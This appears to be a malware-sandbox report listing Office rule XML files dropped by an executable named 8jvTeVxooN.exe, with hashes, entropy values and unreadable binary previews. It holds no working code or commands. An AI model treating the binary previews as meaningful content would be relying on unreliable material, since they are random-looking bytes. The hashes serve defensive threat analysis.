Preview:	<?xml8.S.'..F.A\2._.....v{.B...>.X..G.~..`@.......N..8..S..A..~......v.....c<...........v7.aHl.}.....^.4..3..8.<X..#....}1....e........`.ZS.......B....j...:..mQON_8Ky.%.UUP.........W.H..L=...JY....PF.o~......[M.(.m..8j..M..K.T..T...)Q.j.=R....\..].D...r&.}........IM.Bq.....\|L..E.H..}..6'.m..53.3...m..~].U...".t..q...$L.g.q(8n8k..3U......K..['.h.C....D........#N?.[,s...H....5.DV.%7.2.[eP.`U.xZAf.U.....n...!..\|......8C.!f._......d..,.n..........s..q.. .40O[%C....h.8.VX.........I.TE.......~.....jzIAg.5....=Zd...H...x...!...pR........L.t.>G...j.}s.t{.....Xu..aN..h.yK\b.l:. .......\.F....\..%l;/W....h.h..r...H.H..A.6Sd-.A[.Y.I..k...o.1x..H.@[..J...o1p}..D..H?...0.]......6........:..\yL.8q2.(.$).[...."!P.v.....rW....n.....90....[.p...3.h).JU2.;. e\~.N..;.3U...R......:.f...0.3...$YS..`o..p..M].\cp.d0..V_../...,<...aJ...p'.@.I2....=kCE$".......l"g[..~Y..A..D.....6...;7...22.Fb@...;....c.d...gc..{...w.V....%..%.lx.O.'..?..~..~.6.u....s...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.852992336286209
Encrypted:	false
SSDEEP:	24:Z+hWwQFZfCuNoIyAa/qhBmx1d9CVA3lP5s/3MzEk4b+mDOObD:XwQFlTQ8h8hB3Hs/3MAk4ymDRD
MD5:	0276E19751642E4AF00D4079982717B0
SHA1:	1B3255BDA0243B27CE6FFD3B0D4D7D338A878030
SHA-256:	247955F2BCB64922D123D1575071959D99B846B621BA6FE0BE7B5D9171F0FF49
SHA-512:	A3B1F93F0F6B5F449F1FA145B23335E0FFFFC66C8BEB4E98F1C1AEA5E9796084F46304CCB20EA84685C0D283F00C2F8DB982424B5EC90B9A8524F67D2409FEB6
Malicious:	false
Preview:	<?xml.n.6!m.W..ed....15.0S..&.f...a.I..b..4.....\..Z..j...v..o.....I.yD...U.......}y..2."c.6w....;.....g..l.".f.U.7.\|..;..z..`..D......H.bM%u....Xu...fu.....ZT.....G.9.l....m...q.=6.] ...vQ..TZ7e3.N.7.p.@.....=..~...z....i.#....u5E1.t.8....,........2.......m...O.....C....o-.w..H^l.DpW....l.aC.r...)......9a.N}...Y].GG....nw.<....`9DW..D...d}..F.v>Q.zC.X.Mln.0{...h.0.d.<_=]iT2z{;e\...?..@..6g.....@oC/....L.i...c.jG.j8/..Q`..i.[+/..O...........%[zVIB.Dj`>.........R..,.>.....N&..J...$....#.....U7...np....G...$..........t.wE.2....<U..%6.g.......5.[E!....f.a......0...K!.-..Z4..J.......q....&.#.O.......@....3^........9..l~QC-..{~&&.........i."..:e.......1.........).4...?.....qY.{lZ.b.t....]]@..ha..........y.o.....w.i....F.T.3.K...&........w..T..Pm.qw."..N..-...n..D...([,dg.#W(..-.y.-7.$..{..q&.8..}j....4O\|..p.~..N...JE...<.?.;..R....`.<.z......2eh".9..:?..P..k....@SS.&.....Q.F..".#..@.......W;......FZ~....`S.....S.a.7..V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.804016220164981
Encrypted:	false
SSDEEP:	24:GqyhLcHf8eiHm+dADHs1qGzgEXFa0smCrT4548kmWlktMxUtq2C1ObD:GfLa8ei3dA4qIFGcFqx12C6D
MD5:	1D9736A9D22AB11AA9E4D97817A836B0
SHA1:	B36D45532F0BF17F1398D649A400E4751F26A8B6
SHA-256:	0F074E82B1B5C934DDC9B34106BEFD3784A0FFABC0C1A599F9FF12C64C7F89D4
SHA-512:	224C91ED70AED68FA5548468D17F3DD275318E94FD7EAF8D8DE481B5746E062821A13D3CAD5BB68BEBAC92C7B1382B8ABC785B2B4A9C87289AC73F7B5FF21DB4
Malicious:	false
Preview:	<?xml.9.1-....E.a..:+.......l..^....W.cN.\..u...t.....1....9..X..k/...>....!......b.X...J...#:.1L.l.I..3+^..K....$...?..e./.../.QW.!.<.L\.aa..'Pp..N..Ts..F9.f.....EBb)..........L:..Y.UQ....._.Q.\|.Sm(:...i.`..T..M......m.b....T.4.J.....b..w.P%..D.....:$.S.v.R.....g...:b..rE<:/......2.....x.9.MI^....\.X>..WG..v..\|.e..3y7.%.#.F....'.&[...c..C.".....C.2P...L.z....He7..q.%.7.[8.J.{J..$.pJ...... %s..t..9...0.q!.d..tq.75.>b.<.u...-...t=.x......s>S2.z....7M..J&{+..?..{...$..P.8.\....w[f%.Q.-.qHt...R......\|Y._7..........7r......o.._.Pd....h\|p.z...9%0....K.@Yw...Q:.F.....d.6m.....>0?F.._...a:.g.....r.#1.U.ea..q.?..egM.[.3J.,...LF..<.q5...L...g..^t...9..D."[...Lz.........m....7Q....%.Lc}..i.!...b.~/di..s...x.(.-O.n.Dy.(`..p.R>.00QWM)..E..Jo..}..-.\F...&";2..6K..}......O.Hf:.`.@.QW.ZH.o.5....f&..pJ.W.).........d..:.P#.........a.a.9.....W."3$...."...d..A.\|..1=ins...uT..ys..`a_..$.....T\...T_......}...y>.\|.M4.ZA.:.K.....%............X...k.e.q.e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.887830458055719
Encrypted:	false
SSDEEP:	24:8mtG6BW4IzWtFfrO9hoG+NEBF1oTI3O5mk+jeniXBhCeI6iXZqUlTJY7uJGebCVI:d4AWHz2B0yYP3O5InC+emKGe2aD
MD5:	AD35E3FB10749C45A33FF1468DD9BCA3
SHA1:	94B735568999C255290F4EDCF8F8A20FD11D5BD7
SHA-256:	F8EEED5A68FD2D1A8F111754D44F6AE4FE4AFD831452926AE688315C4A26B245
SHA-512:	6FB5315ACB83EE9E7BDE0EB24A02417ADDECBEE9A8E0B5AFCC228244A261FC4C0D7AE2AF4FBA9DDAB50FC0CFF79C44009B412E00271D1E5F08312EBDF737403E
Malicious:	false
Preview:	<?xml.u.z.s)R.ODD....x.3.G..RB.]..0...(.\|...._xqM..Zy.w...Xt<...g...n.-.>.02......Z3..w;.....G]..'.....$!..OQ.kt.:..0.e.M.#.`2K.L...l....v.L.4.G......V....S.....pno.Ig.wNj\...D.luw.`H..s.....1..-...............E.T8B.{.i...C.X..^J]..H...].^.z.g.~l!}..sRV.........Y..K..A..(.....B......_B..7._.V.......ER..R..i....+X...I.w.....-\|.R%t......N.........(:..... kV.8..g....&....wMRI..Y.D....6..ng.....B.^0....m..&..W...F8........a...}..1<...g.@.O.q...O.2j.[.'?.4zI.S...Lv..A.>...f.(N....7.o.X.m.. ...2..c...BB.$X3..tNd:i......O....O..h..O......^....Lj..}....._...5ZnO'.%....%wQK.D...>.IS.V..~s..u&.9d..Y.....XW.'./..4S......O>...h...hXc..6.N.l..q..>5.F#.;+.x............h..x$53K_\|l;.6....._C.....h....M...ho0.p>..t.........>..tU.....lR..\|aq.R..<0D...T.ED.K.....W.8....[..p.6 .....]9.......n..9..U....b."..j.r.EF].s..\|....^Y}..2..[...&..k\|A.3..l{C'W)_.i.U..a....#H.tF{V.S.o@.%...TX ..Y..8!g.r.-...;%hV.s.3.P.q..k.r...e.%...4......;hyN{..:.u..C..].S7..K..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.8083443042074165
Encrypted:	false
SSDEEP:	24:rM82TU6icurE4Ll5CBJwOIqvqp21RygxObD:A8iicyE4LqvwOIP4VGD
MD5:	CD15257229247B7A4322BE2CA73B0663
SHA1:	175357F52BBD09846DAE2E8572624635382CE034
SHA-256:	007A1926A78178449E84EE20B4F990BE40728D133612E6600F0C60A512025F6F
SHA-512:	CC93CD77A253C3B4B9CF39E3D2A3B995A5451EA916FE70E941CB609F0A3759C0B84CE28D90DEF2ABCAE3D41EAA095B79781DD7CB4F3DDD77950CD46EA8EE901F
Malicious:	false
Preview:	<?xml... xR...=(..be..L.0.o;-...?S.>..b._.gQ`=....x...7Z...H...U....\.1.]....ZD.A.S!...0...+..........k...l.s.CR8].zw...Z..."..C.w/..........Z)..O.=....-hMp.1....Oa...........>y=<.:}~\|.T..j`.... ..d.....u.W..FR/+OmzP....6.....>.q.F.\J..@ ..\Q4..e;....:...A\..`jb]?$..g..t_....T.?0.3I..........#.Cb...7...8J...xX...M..j.O..;.u..UDbg."...g:..h....".....f.o.]i$..x5...O_.xg..^...m..!.0px.P..w[.5...s:..[....2..V4.AB.pT.d...w.....'..d..}....../..&..4..$....,..!9.?Pp..2..#70a..0.b....m...@...-... }.N..%..U...\|kG.an.f../SB...n........~n3{.boL+....g.....O.[X.G...'....b5.../M+n..{.2l..S0j..5\t.....{..;.J-nW....n.....2..M..n.v......i.Cy..1....HYO...B..5.[+...i....uxF..BA.R.&.U...U..zi.....M....)&..Tg...e.8s...V\|.v$......M.....TF.>.......u!8e.?A60.\.'........V@Wm../..h...(.>.r...+6.ZI....S.l../..M.s..h.......f...7N......_.P>o..+.]0.....vb..Mt;...a.wV...z@.F.h.>..A...[q$.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.907486644297326
Encrypted:	false
SSDEEP:	24:tCIpLNUh88I2FhVf4Nw16GhQUCPa2bW6UknkOs/OJAapZjQgKp4/vX2c18ShcObD:BpLwVf4c6PBP8BCkOsOPpZMrOP51VD
MD5:	E32CE003A161357D476507D8D53E6FBD
SHA1:	995975F84F59DC2CBE6357D70ECE5C92064B80E3
SHA-256:	B1467F4ECCF746E03DA57C33050759FADE44B020CDDE7FE7FDD256847984F509
SHA-512:	664C92886DC6C5691A629E6EA9E685A1E2D44BDA9B284C4F583DC4B1CF11E56DFB685E211D5805BB46054EFD1E592F2A65F6D75564F3EA59EBA1CA1B5A6ED422
Malicious:	false
Preview:	<?xml/!...KHXq.e.ck.92..8s].8S.%.&m;.).Hzq.....p..M...x.W..-.....a....m.k$...l.......P.,>cH.$...31. u.~.18..M..\e..;....E.+!...$.%.."..B...r.x.t....\\|....{....W..._.#.....\2v#y...o0...." ....6...H.4....z..4.-.p......!...4?.h5..1....L.....(...y.H..P.}.6..o....x.\...!..+..T.?.9...R{.DI@...0. .o....n.....k..O.5..{v9.....$!........e.........Y..+.m.....f..Dny./dh.!,.Y.L.l8,.W..Lb/...k...N_...JO]g......p/.P..`....l.wp\|.4Q...r.A7...u....yB..@..^O..%.!..#..@.D......c.....[..wT.:...<.........u.R.......O.R5.PT1..l.%....md....b05.p.o...a\h..z..9zX..].woG..=$.W.{..xnr...+.vQ.d.V.n.B..ae...{....y...bb..r.D.........\|w..k..........2..p^..SX...YT8....J..-.o.E.Bb......X.?..q.4..).....L.....l.....2..j9....u...kb1...E...D.R*m...5.+....V.8..'-..........=Y.",. -..V.gB....E..@[..\|U..J0....T+.>./.aj36.N.c..w.....%..2...Fd.?....d....{..../..A..k..^..7].b..Q0.'.......}.u.).UV........h.......,...z.e.H.:Q..z.%.A...%}D.......$6.6....+s...3sP.p.B........M.:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954063735121041
Encrypted:	false
SSDEEP:	96:ejdkBLyDc1rSemNthWFpGkcPvy8iD+TduTW:a8BqRKprEa8iD+Td7
MD5:	719C9DB1B838090F15309CC716A1F46C
SHA1:	DD08EAFE177577A944FD33F811DA5A2F39B4FAB8
SHA-256:	06B735FDA4F4C602A1877140249A686CB89C3DB30C857FD050301DF6FF627C38
SHA-512:	0E025B93368D56F137E09419441DBE267674CB29FD48B4F77BD7CAA6A5FF9C97F4671AE23BCDBAF3636122DD72B113173D369D703F6862944BEAA6B2B838A055
Malicious:	false
Preview:	<?xml.;w..A..\|.b.K.s/..;..^.J...n...#)..f..1&.....z..;....`...\.j.....0\.<.CM=j...&...q.w:..c..k....i..94E.n.......>.o..e0.M%.....,3QK...../i...'a..>u(.J..;...cpc.......Gz.N..>`..mq;... .~....l.8Z....c...Dt.x....7......`.k.=.4...R.)8..`.n~.NF...y..g...c..6.u..c..O%.......J...D!#..JIq.K...........8..,.r.u.,....DB.....6.LH.V.Ew.%I.{.=...7b....0@.b....]^.=,..k...z..J.m.`k...c3..~6/.k!t.P5...M...`....,.6.H.q\|4.../.{.h...i.1...W.,..c.+._.Z.....W..`.]V....>wty..e7JF'.RJkr.\....?..J...WP..5.G..W.SR.\|...6.dE..!K.@....I...unu6.h.5.....B.,..b"q._^..];......WZu.>/.?K.D.6....V8LJ.....5...&.-..x.Oe'.......V.....D.:.}..W.Oq..u...T}....Jq{....?....x.D.vB.....;..H.Bm.......C.8.......,.....d..G.....j.b.....i.>.Y......!...a#.>:..]......>.n5.~!\|.b......<"...../....rR...#2HB....\MX.Z.....1..e.L_...(...%O.......}u..Q.....O.,..b......P.]K....Q..f.<.Q....L2..k.z...(/yO..o..Lp.....'1^..t.....q.s..".......R..-...<..8....h..hDP.....Jw..~[......?...h0Z...Y...tC..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.841148294389028
Encrypted:	false
SSDEEP:	24:cTyOEcaZ36pmUhKrXHmG1airn1semjb8iIdYwMNZxfxUJiQ/ObD:cTvEjFqirntmjbbUk/xfxUJAD
MD5:	296DADE9859EF53CB9F3C598A5060B9B
SHA1:	AF95E4FA27734A540DD3F93581A9C654EC4A336C
SHA-256:	CCCC406E11A81F02F8C37CF5ABC6A2B82C2CF75DCE7394BF93493F671B5155AB
SHA-512:	183ED32D0515CB012BA033CC75D5CAB0459FFA64601BCA376C34EB963BC1012B5CEE51805B9EC236299B3FA25F5BE32AB8AF26B837E1CC30C8F5FB0832E7B297
Malicious:	false
Preview:	<?xmlb.E..d....c..t...[.<5.B.HWQ.<..X..B{d...`..7.....&.."....'..S.......x..E.p...{.Q.q..q&k.z:.F...R...<...C.t....$.Ro.`..<...,.=.....mu?C..1Q..R..e)]..o..^.......4.....H..w.h..VC......s..-...f...N..F....n.........q[t...._+.n..p..%..+..G..Q\|.6......O..Z58y..?6(..]..)...D`.`d...:...L(.!..S.....,...'...FQ........c...{..Sm.Y.IK...G.O)...+cE[...Y....l..?.)..}..Hf.c....K.......~;....2b....3-5N..M..9.`C...n..SP......#LS......1?#.x&nU....sMU...@.QT...2T;..?...D3.p@.t..Oy.pv.r..i.i\.Z....W=...G\&4..GqL2.k.R....U..>u.........E.x.C..5.q...s.a.:.J......8y..2....m.\|..CprD.VU..p.B/.....1..2]:...qQV[..Uc!........m.a%.c]. .&.Fh.....r.......ZW(..@8.z.,...Oy./}=2\.....4-P.0..].Pg...f\..x.v.U.K.<.F.#.H.-Y<..]+)..._,.U.,A....[..t].M'...=.t....F8."0...j.U.4....7RS...GD..T.apF...@...8...m....p.N.5.y.Umv....S>5!q ...}.g.....^...s..B.g...d......v1..5.o..@4.z....].9v{.yRw[L.6......8.[.....6S...<.K....&.i..h3u....e... 7..,.y..m..Jb.6.c2...".....Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.884051080036454
Encrypted:	false
SSDEEP:	48:N5ocDZ628CAKW3QdZxkV1GA/fjX5Q2jERgD:0SZ62wKq2ZGV1PjpQ2js8
MD5:	F29951686D4F5006204B24D0DA1A4D23
SHA1:	AF565C5548FBA3CF63032BDBDC0071F8D7F4BC95
SHA-256:	59AFAC622B81350A6385518E44C4FD944DA873EF7A2A3ED052EE62FFADB63DD4
SHA-512:	9A17D355613D0673AE1F7501F56A805FB02C399A061DB28103617FB008E3E5FAF5C028819C77AF2714497685125252ADDE8B67D782AE642D62DE203CA142A9D1
Malicious:	false
Preview:	<?xmlHE.l.WX..x.C..1..q/...0.E.B..=G.Er_h.ufz..l....:2O].q..Z......(x.......w.J.....:.C.zj.Y`g.).\|.)w.......U........L...n.r...^.X...\|'..mJN..s.....m....\|.%....` TA..[b.U...s.u.........e.C...%U.....=......s.2.....C.QM.3.9.?.O..../.7..xJ){..P\..!...N...'Zf..Ve._ ..A.%............\|....'."N.,.....h..F.#..E.p....f.S>..R....Y......F...xx.h&3..#`..1m.u+.0..-V..t..RY.r...<A......y...Fu.."..).V.....4...B.Q...\|.3.l.f.6.Me...7.]...p.E...l..q&.1D78Q...R~)........K.l....Vzw.q..#..\.N~...,..[.q..&.J..~.R..q1..^..#w.Ab.....\H../#p.".l..db..;.\.o....~..y..m..2..1..u.........8...}.Hj...+.@.......1.A..q..;o".....(.E.D...d...N9.L3.....AB..)QsZ...Z.....%\|..`..$&q...e...[..<..o43...2..a.,s&....^..[].c=Cs...0.,....L..!....T.s..0.gc.<p"K.Z.....'..>O...A.`D.....35.V.....[..e.hg...5].+!I4.A..N.>6.X>j+.#.J>...?L.....N.z..0.Zd5{..j.s.Z.+.k....g.^.ma.8........7JyY.....X.e..#...sv.s..;0....F...3....A.%?~Cy.l...^+.{C.R..+....>..SA......P.{h".._ ....J.p..../...{...A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.951846002023547
Encrypted:	false
SSDEEP:	96:OkAsjIb52w22iXBG4MA+HPUhu/y19pWXSHMn47TPuzn:OkAsUb82iXU4z+H4u/CEXSbvkn
MD5:	43D5FAC3974ADEE295F5C1F5C48C4E3D
SHA1:	184F4CDB4D4FF370C519628CDFD99D6908914C6A
SHA-256:	F1D03450C1D6863F3A27FBF6371330D9144343B1697BE5944203FBCCBBDBF403
SHA-512:	B6F8B9F981B8F454932CF65526C69A740203ED745E9F4E63C30B2FCCB5A1B9694671FF3FE0752E36793AA8BE4F58E22353BE75158A5774ADF6D6B1B94823F67B
Malicious:	false
Preview:	<?xmlf....sGc..p9FE....,.y.....2u^I...l.qW.[Q..P..qT.[X.hA.$....B.Fm..zzxC=...._..a+....o6y..t4.....;.1.T^......{!..v}.......Il.'`..P..U...^vn..Z....P.\|....I..oY;........q0.....0yN...:..%dl.].....s...Y..._.G\xm...o.:....Y.......t...p...z,.....s..Q..pw\.l;....I.E.a.....................r7E.O^F/yV....D.:......b..6..}.....G.>.)>...z..a8.....\|.N.B...9.6.....R.....l^..&Z@ .8.[s.3.j.YE.......-...i.....<...}/..6.h7..J..........b....V.a.<.^e...7..l0\...1,_T..o....O...S.Q...nw..l....7..0@.."..>.A.....&ct\.Q(.D.h_..I...u.\|...U.._=hSX.=N.<.<.Ey....=.F...~.\|.J....)...O..b....xj..-....21.k+...s.d......g;.`.G.....N...............OD...j.D...mk-\|..-Yj.....).......A......vc.....%.5U0 ....p]'.....y.....}Q_...(.2.jiA..=L.'..p....F..9.G.Ji.}..gS.J...5..w&..t..^c.X..k@.PE."..?..9@..................W....YG..^I&..: ;...f..;0.e........%.....:....A...Vh.\|..idec..K.~. ..\.M..k.-....$....T.d.M...`.\|.f..........f..Y.).......-...DG<X.x...2.V...@...,#^;p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.775373437674782
Encrypted:	false
SSDEEP:	12:JdboOWaHHPy0QxKdE7Q34IfxTOdSN4MmEEOizmDBGMFDEXqXp+ljOXPTh4PAOuOX:3qaH6Nw9lOdSN4MVYmDBGC3NxObD
MD5:	A1C73F7DD08883FA1B2D94F236F2763E
SHA1:	67AF94528EC043E77EF5BED9FC764F23989F5513
SHA-256:	C16C165A417F1B5576AE630BE759F0692E421ED2D8C72037BF1287B1E5C1A2D2
SHA-512:	63348C49694DBA6C86A06A505FB59D8517B15338E0A3088F38E1C7EFDCD19544453E519E334000E7DFADCC95A95FD5BFC365779804682E4163553AF4089EDE9F
Malicious:	false
Preview:	<?xml?.SG.;?x.....i.......F.6..m.....m.Kw.4.ER.s.X.lY...a...->.F...(.`e...~.e.....T......W.Y...u.$t...Mx..^..>....#.A..Ho..VT=........P)...)...I?....+.E...6...W44{9.....="..O..T"4."....i.D>m..].T0.b.2...NE.,..Z...2.........?..&..D..u..T..]\|B.g.../(.#`g.4...".......J....:E...n....'.1..A....J...h\..@.A+.8.x..Dl.@.]. >..RR..#r......yj...Y...?.V.6V.1b..'..............p.K.....u.......U...Gxi.+...H....[;...H%...N..8.?...(..-.p}: ].P...=...{..O...U...[...%l...A.w..`..y.......=.T.....EPj...&..X.....(G&X.....)..<..x...w5D.&-jG.wq&..'g..E....[2.9:.(.3!.A~M..j.X'\D...V......nz.. .f..G<Cz v..s......p7.<.D..0@.>.PP.tx.n.H..(..\.l_.%u@....H-..M.8.V.sh..%.X-.T`.9A...x....%.....-....$R...B+.)...U.d...K+....}..46:.@..j..K...I....Q.?.h.....L...{D..@>.....U...G`N....fC..bP..Yd.H[..`..a%Fo.5.K{.j..;<Z..d...a...;f.....`t..B.R..8.;........t....d..u{.#0qg7..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.924881046724614
Encrypted:	false
SSDEEP:	48:oHIP0C2igCAnjixpcJheGaFSMxpX7h2vtxY99rZyY+mtPXGkiitD:zAjkGabpX7h2jY99FG+V
MD5:	257AEE096510766B26585AF27F9024DE
SHA1:	F05EDD67EDC282D814E44C4EC8691C62FC544550
SHA-256:	A7AE69003CA1CC7D4C92F186BE85AB74EA13EE2A893337A05EBC9EE94E0C14BB
SHA-512:	2061C8E8BFACCDCF697C10E1430F70EA5C1CD0747B346EA477A10E82AACE0DB819E7BE421F1A533473788C251F3CCF9546475640A55411AA831E16312D2D93B1
Malicious:	false
Preview:	<?xmlWq..1....S..@.A..m.F..WG...x%#..Jk.....bB%..W.H..#...#..s........`h..>9..v.$Q...icHba.y.f..MT......Z.%}z.e....;).W..nxX.........dz.....[y...?-...SM.g.o.n...:a.....1z..>..n..Fb...L....+m....9........1..Qza>z...b...,.....EG..Wx......9.;.Q.\R.M..Q.'.l0.p.-......a8......4.r.;...D cy\|...oc,._...[Yo...i....,L.1/.. ..`..N..i.k....41.....x...=Q...SZ..3\|.H.4C....<..Q..+, .\|.Q...Y...%~..I.3...~O0.jU.;..;....HVu..Y....v.....C?..^.....(JGA......,..2...C..:VB.k....Y..V..$#%u..b'0 ...m......@.....]?...@3.!.p\.U>....b..Y......:.t.$.3(..@<.C..!.@...=.Q.V2...Z.....#L...C;?..p.p...;m5.M.r....>..G.....U.i.4...]..P..+k..........X.a.Nr...BC.8.a....E...,.H..X....<..\|....g.l..+.d....>..-:..S[.{.n...{.a.......)9I..#.@:....f.8.`<lm..F..... .f.....0..m5.rP.R5.4.Z..eR.9!E..t.Q...=2..oJ...".....A."..x1 .hO]....F...........<.u.D_..^..gQ.%.....y....s........J....lL...c.+<Q....F{..a.ce.9.GP...q.?I.=.... z^......x..5K..K...{vE.<...h90.\.w._...J?.........}..=...D....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.936089777194175
Encrypted:	false
SSDEEP:	96:f7KKmFgT88Q0AvFxFAVe1ZsVJmN3fhvS9DCA3qE:fmKmj8Q0Ad8UZRNJaZT3qE
MD5:	6A4405A270ECE3BEAD38B73D169614F6
SHA1:	AB54881581D201CF2F687354859E5D0FF5BF6EEE
SHA-256:	795F93F05F23B04447B5BDFB75735EDC2F69A95996B93D42FE23CB203FE91349
SHA-512:	C1D96B01DD6E2AFB734C6F1874E0FAB206A50C62754A4EC3E93D80A76959DC13315263360FD695773A36E8D0DDA3F4C2EA03A4596DA0F4A470ECAA77798E6B8F
Malicious:	false
Preview:	<?xml.F.g...s.j..%.....i......8.%A../..A.F..L.6........M.......`...=...X.N...%.<.;(2.o.?.Y"8..KX...BEsy..>.._x...)......"...NqX.y........GZ.W....}..j....W...@.-.;.q#..<.<......._...0.......D..5......7x....1cs......'.Q..9I..H]..."...... ZZA...,.!...=-#...RB........r..TP.n....y3./:5_R.....T.....ktR........t3....N......M...g4F.m...!...3.jT.;+b..c.Z2+lu..'.V...d.#Y...n...Vj.....G....g...R.#.N.(W...!...g...U....E.'y/.._}%.!..TF...;..7..}....M....n<.I.6.3.T.x...tU....q:v.X...g.....U....c....$.?..:..l..N...R.b...g.........L...h.T+}...<.........N..... ..t....{"s.s...d....`.qm...,...""..y.......%.BSbg_...u...ELC/@#..]...m..i'z/..X).."I.._..9..Z+n.....w.W..g......C#..]......c...>;)uS.....'..w..p.......!vj..3h/h.Z..`...A.n{e.c.g...A...z..[....~I.j8...H4.g.6....,.-..$..4w.e.K..pY...b.v..p.;.N...<3..n........ ...~V..-H....(.t.......\|........b..rY..Q.`..&..n~..\|..........R\.-7.o".:s)...DY.._x...34Bu.3.-z.n.<..k.C......>.i[.+\|..\|Y.".Z...B).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.924164431673725
Encrypted:	false
SSDEEP:	48:9afCnxeUlnZ8JDZ0L4i2RIswijTlZx2l1g23SFXHmCKmPF8TbsZK6D:9aKnQseJDcZ2RIsBTFXHmCH+HS
MD5:	2B969EF78102917760A12064E53A4411
SHA1:	8857BB339932D8186D0688DE5A428647BCDCED50
SHA-256:	0FE9F001650F5A56434F8D62EF4A2DE1FE52AD3DA6959BDBFD56F14067ECF872
SHA-512:	B4D686BF600335E807EE6E253D89A833FDF85A41D7F79D35B465D9544468878F76BF4B7469779F5BC20ABE1D1A40A9B63048DCB17A5140165FCD000C939AEE8E
Malicious:	false
Preview:	<?xml..c......J.Qy]...k...\|...[..J.&..Si.p;...X... ....([_Z.,.S.b.u.C...),U..].......\|...d&B...G....~E..r.$m.......2G......P~/y0#....rQ..JA.4s^1gc.8.....X...em.....-.\|.`...+....x...P..\|..;.#....b.H4#.9i...k.=..!.......S%0X..F.6.;....O@.Z.[oa.}..g\|.%..y.I.M....J.......#B.......wF...ZQ.e...H\|d..q..&/.$-/..1...... .l.;...ug..X.....~.B<$..i.H.;.)....iI`..i.;........W.2...y...vs.!c.r.a&..J...k'+......@m......c5..Q..j..T...x....A.]......%.v?..J:.-.U..5..o...J3....E8..}..J..."..i%xp^...a.T.....\|.....~7...o...}..g4.h.Un..u.v.I.c.A.6-.[Q..A......3..F..~T...F.......i..I.....>E@.......8.. .....U.)...V5..7K.....K.................,..%p.kI5..x...y.M..f..E....I.Y..+...*..3.rq.........[]..]MI...ddLo1.D.?:k/0n4.Qp...7.......2.8<...a.R..~..+>.....L.[wSej}..j!....R...&..I.......C...p.%..G...Nc./..M.'..=...2}P..).....I..4:.......T.[cF..n..wz...hAm\,e.=...#......;r.J.3;W....G%.(.,Ze.v=Ts....,..:..]#...%d..m.x..l..K,...L4K.;...U.1O^./..;......b.r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.817114403994383
Encrypted:	false
SSDEEP:	24:m6uRmpn14oFWIdkseRssgBD6IYBxYHR8ILMtcZqG6tgw1MJcPiCwtObD:m6um14yWIdLvTBgBxYHR7LMtKb6OaP7n
MD5:	C14EC12FD948DCB42F4E82D4BDF553B6
SHA1:	7053D9FD6081D0AB32BA22F762AFAFD5F5DCEF23
SHA-256:	C8D086365E92D653A54FB2E0ECE096271B165EAB008BBE6EC70497DF44E11AA4
SHA-512:	FF7EC03E37647EBF89CCDFD16F937C86DED340F9302ADF6CF3AB60F252C0CAC0F74061C8B0065D8C4CFE2DBA11331BAA6457029881B20ED13F4FD6478EEC4A0F
Malicious:	false
